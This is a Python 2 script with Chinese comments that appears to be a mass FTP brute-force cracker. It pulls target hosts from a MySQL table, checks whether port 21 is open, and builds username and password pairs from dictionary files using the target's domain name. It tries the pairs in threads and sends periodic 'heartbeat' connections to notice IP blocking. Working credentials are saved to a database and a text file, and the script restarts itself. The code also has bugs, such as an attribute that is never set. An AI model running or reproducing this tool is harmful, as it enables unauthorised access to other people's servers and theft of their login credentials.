#!/usr/local/bin/python
#-*- coding: UTF-8 -*-
####################################################################
#qq:316118740
#BLOG:http://hi.baidu.com/alalmn
from ftplib import FTP
import time
import threading
import socket
socket.setdefaulttimeout(10)  #设置了全局默认超时时间
####################################################################
#要添加这个  检测过程充分考虑了部分FTP Server的错误阈值       要写上去
#def ftp_open(host,user,passwd,port=21):  #打开FTP
#    try:
#        ftp = FTP(host)
#        ftp.connect(host,port)  #连接 服务器名  端口号
#        ftp.login(user,passwd)
#        ftp.quit()  #ftpB.quit() #退出ftp服务器
#        return 1
#    except:
#        return 0
def mysql_select2(data):  #模糊查询
    try:
        i=0
        n = mysql.cursor.execute(data)
        mysql.cursor.scroll(0)
        for row in mysql.cursor.fetchall():
            #print '%s-%s-%s'%(row[0],row[1],row[2])
            #return row[0]
            if i>=5:
                return i
            i=i+1
        return 0
    except:
        return 0
class ftp_open(threading.Thread):
    def __init__(self,cond,host,user,pwd):
        super(ftp_open, self).__init__()
        self.Chost=host
        #self.Cport=21
        self.Cuser=user
        self.Cpwd=pwd
    def run(self):
        ftp = FTP()
        try:
            #ftp = FTP(self.Chost)
            ftp.connect(self.Chost,21)  #连接 服务器名  端口号
            ftp.login(self.Cuser,self.Cpasswd)
            #ftp.quit()  #ftpB.quit() #退出ftp服务器
            ##############################
            print u"\nIP:",self.Chost,u"用户名:",self.Cuser,u"密码:",self.Cpasswd,u"连接成功"
#            sqlA="select * from ftppassword where IP='%%%s'"%self.Chost
#            if mysql_select2(sqlA):  #模糊查询
#                print self.Chost,u"域名下已经有5组密码了不进行天际",
#                return 0
            sql = "insert into ftppassword(IP,user,password,time) values('%s','%s','%s','%s')"%(self.Chost,self.Cuser,self.Cpasswd,time.strftime('%Y.%m.%d-%H.%M.%S'))
            #print sql
            mysql.mysql_insert(sql) #添加到数据库
            mysql.mysql_S()  #保存数据
            #文件的写入   测试
            xxx=file('123.txt','w')
            xxx.write(self.Chost)
            xxx.write(self.Cuser)
            xxx.write(self.Cpasswd)
            xxx.write(time.strftime('%Y.%m.%d-%H.%M.%S'))
            xxx.write('enter\n')
            xxx.close()
            ftp.quit() #退出ftp服务器
#            try:
#                ftp.quit() #退出ftp服务器
#            except:
#                print u"ftp_open-FTP退出异常-1",
#                ftp.close()
            ##############################
            return 1
        except:
            print u".",
            ftp.quit() #退出ftp服务器
#            try:
#                ftp.quit() #退出ftp服务器
#            except:
#                print u"ftp_open-FTP退出异常",
#                ftp.close()
            return 0
####################################################################
def get_sdomain(domain):  #域名拆解baidu.com/" data-ke-src="http://www.baidu.com->baidu.com">www.baidu.com->baidu.com
    suffixes = 'ac', 'ad', 'ae', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'arpa', 'as', 'asia', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cat', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'ec', 'edu', 'ee', 'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gov', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jobs', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mil', 'mk', 'ml', 'mm', 'mn', 'mo', 'mobi', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', 'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tel', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug', 'uk', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xn', 'ye', 'yt', 'za', 'zm', 'zw'
    sdomain = []
    bdomain = False
    for section in domain.split('.'):
        if section in suffixes:
            sdomain.append(section)
            bdomain = True
        else:
            sdomain = [section]
    return '.'.join(sdomain) if bdomain  else ''
def get_ssdomain(domain):  #域名拆解baidu/" data-ke-src="http://www.baidu.com->baidu">www.baidu.com->baidu
    sdomain = get_sdomain(domain)  #先解析一道
    ssdomian = sdomain.partition('.')[0] if sdomain else ''
    return ssdomian
from collections import defaultdict, deque
def FTP_username(host):  #导入密码组合方式
    try:
        if host == '':  #传入值等于空   返回
            print u"传入地址不能为空"
            time.sleep(3) #确保先运行Seeker中的方法
            sql_sel()   #SQL查询
            return 0
        ##########################
        a=random.randrange(1,3)   #产生一个随机数8以内的
        time.sleep(a) #确保先运行Seeker中的方法
        #如果检测不到了  还能连接就退出
        try:
            ftpB = FTP()  #初始化FTP类
            ftpB.connect(host,21)  #连接 服务器名  端口号
            try:
                ftpB.quit() #退出ftp服务器
            except:
                print u"FTP_username-FTP退出异常"
                ftpB.close()
            #SQL修改数据
            if sql_up(host,"send"):
                print host,u"服务器FTP21端口开放-修改成功",
                print u"(∩_∩)"  #添加成功
            else:
                print host,u"服务器FTP21端口开放-修改失败",
                print u"(╯▽╰)"  #添加失败
                sql_sel()   #SQL查询
                return 0
        except:
            print host,u"服务器FTP21端口可能没有开放",
            sql_up(host,"no21") #SQL修改数据
            sql_sel()   #SQL查询
            return 0
            ##########################
        WEAK_USERNAME = [p.replace('\n','') for p in open('username.dic').readlines()]
        WEAK_PASSWORD = [p.replace('\n','') for p in open('password.dic').readlines()]
        accounts =deque()   #list数组
        #得到sdomain和ssdomain
        domain = host
        sdomain = get_sdomain(domain)  #域名拆解baidu.com/" data-ke-src="http://www.baidu.com->baidu.com">www.baidu.com->baidu.com
        ssdomain = get_ssdomain(domain)  #域名拆解baidu/" data-ke-src="http://www.baidu.com->baidu">www.baidu.com->baidu
        ##################################################################
        #准备 用户名和密码
        for username in WEAK_USERNAME:   #导入用户名#WEAK_USERNAME=username.dic
            if  '%domain%' in username or '%sdomain%' in username or '%ssdomain%' in username:
                if sdomain=='':
                    continue  #跳过
                else:
                    username = username.replace('%domain%',domain)  #返回根据正则表达式进行文字替换后的字符串的复制
                    username = username.replace('%sdomain%',sdomain)
                    username = username.replace('%ssdomain%',ssdomain)
            for password in WEAK_PASSWORD:   #导入密码#WEAK_PASSWORD=password.dic
                if '%domain%' in password or '%sdomain%' in password or '%ssdomain%' in password:
                    if sdomain=='':
                        continue  #跳过
                    else:
                        password = password.replace('%domain%',domain)
                        password = password.replace('%sdomain%',sdomain)
                        password = password.replace('%ssdomain%',ssdomain)
                password = password.replace('%null%','')
                password = password.replace('%username%',username)
                if (username,password) not in accounts:#list数组
                    accounts.append((username,password))#添加到 list数组
        ##################################################################
        print u"组合出",len(accounts),u" 次密码"
        if not accounts:   #数组无数据了就跳出
            print u"数组无数据"
            #在从新读取
            sql_sel()   #SQL查询
            return 0
#        print accounts[12]  #('ftp', '90money90money.com')
#        print accounts[12][0]  #ftp
#        print accounts[12][1]  #90money90money.com
        I2 = 0 #得到list的第一个元素
        p_p_p=0
        print u"扫描网站FTP:%s 开始"% host,
        while I2 < len(accounts):
#            if accounts[I2][0]=='':
#                continue  #跳过
#            if accounts[I2][1]=='':
#                continue  #跳过
            ##########################
            #当做心跳包使用  如果检测不到了  还能连接就退出
            #防止人家屏蔽IP   10次检测一次心跳
            try:
                if p_p_p>=50:
                    print "_-_",
                    ftpB = FTP()  #初始化FTP类
                    ftpB.connect(host,21)  #连接 服务器名  端口号
                    ftpB.quit() #退出ftp服务器
                    p_p_p=0
                p_p_p=p_p_p+1
            except:
                print u"检测心跳包----心跳停止"
                #sql_sel()   #SQL查询
                return 0
            ##########################
            time.sleep(0.5) #确保先运行Seeker中的方法
            try:
                cond = threading.Event()
                hider = ftp_open(cond,host,accounts[I2][0],accounts[I2][1])
                hider.start()
            except:
                print u"测试FTP URL异常！！！！！",
            ##########################
            #print u"IP:",host,u"用户名:",accounts[I2][0],u"密码:",accounts[I2][1]
            I2 = I2 + 1  #二层
        time.sleep(5) #确保先运行Seeker中的方法
        print u"密码组合测试完成重新导入"
        sql_sel()   #SQL查询
        ##################################################################
    except:
        print u"导入密码组合方式异常目录下可能是无password.dic/username.dic文件"
        sql_sel()   #SQL查询
        return 0
####################################################################
####################################################################
import mysql #数据库操作文件
import time
import random  #产生一个随机数
def sql_up(url,data): #SQL修改数据
    try:
        up = "update  ftp set  ftpsend='%s' where url='%s'"%(data.encode('utf-8'),url)
        if mysql.mysql_update(up):  #修改数据
            print url,u"修改数据库",data,u"成功\n"
            mysql.mysql_S()  #保存数据
            #a=random.randrange(1,4)   #产生一个随机数8以内的
            #time.sleep(a) #确保先运行Seeker中的方法
            return 1
        else:
            print url,u"修改数据库",data,u"失败\n"
            mysql.mysql_S()  #保存数据
            #b=random.randrange(5,15)   #产生一个随机数8以内的
            #time.sleep(b) #确保先运行Seeker中的方法
            return 0
            #mysql.mysql_S()  #保存数据
    except:
        return 0
def sql_sel(): #SQL查询
    try:
        a=random.randrange(1,8)   #产生一个随机数8以内的
        time.sleep(a) #确保先运行Seeker中的方法
        sql="select * from ftp where ftpsend is NULL limit 1"
        mysql.cursor.execute(sql)
        mysql.cursor.scroll(0)
        for row in mysql.cursor.fetchall():
            FTP_username(row[0])  #导入密码组合方式
    except:
        print u"SQL读取URL异常！！！！！"
        #print u"3秒后,程序将结束重启..."
        mysql.mysql_S()  #保存数据
        mysql.mysql_close()  #关闭数据库
        #close()  #自动重启本程序
        atexit.register(close)#自动重启本程序
####################################################################
import sys
import os
import atexit
def close():  #自动重启本程序
    try:
        print u"3秒后,程序将结束重启..."
        print u"自动重启本程序"
        time.sleep(3)
        python = sys.executable
        os.execl(python, python, * sys.argv)
        #########
    except:
        sys.exit(0)  #结束进程
if __name__=='__main__':
#    host= "127.0.0.1"
#    FTP_username(host)  #导入密码组合方式
#    mysql.mysql_open()  #连接数据库
#    sql_sel()   #SQL查询
    #FTP_username("127.0.0.1")  #导入密码组合方式
    try:
        #print __doc__
        mysql.mysql_open()  #连接数据库
        sql_sel()   #SQL查询
    except:
        atexit.register(close)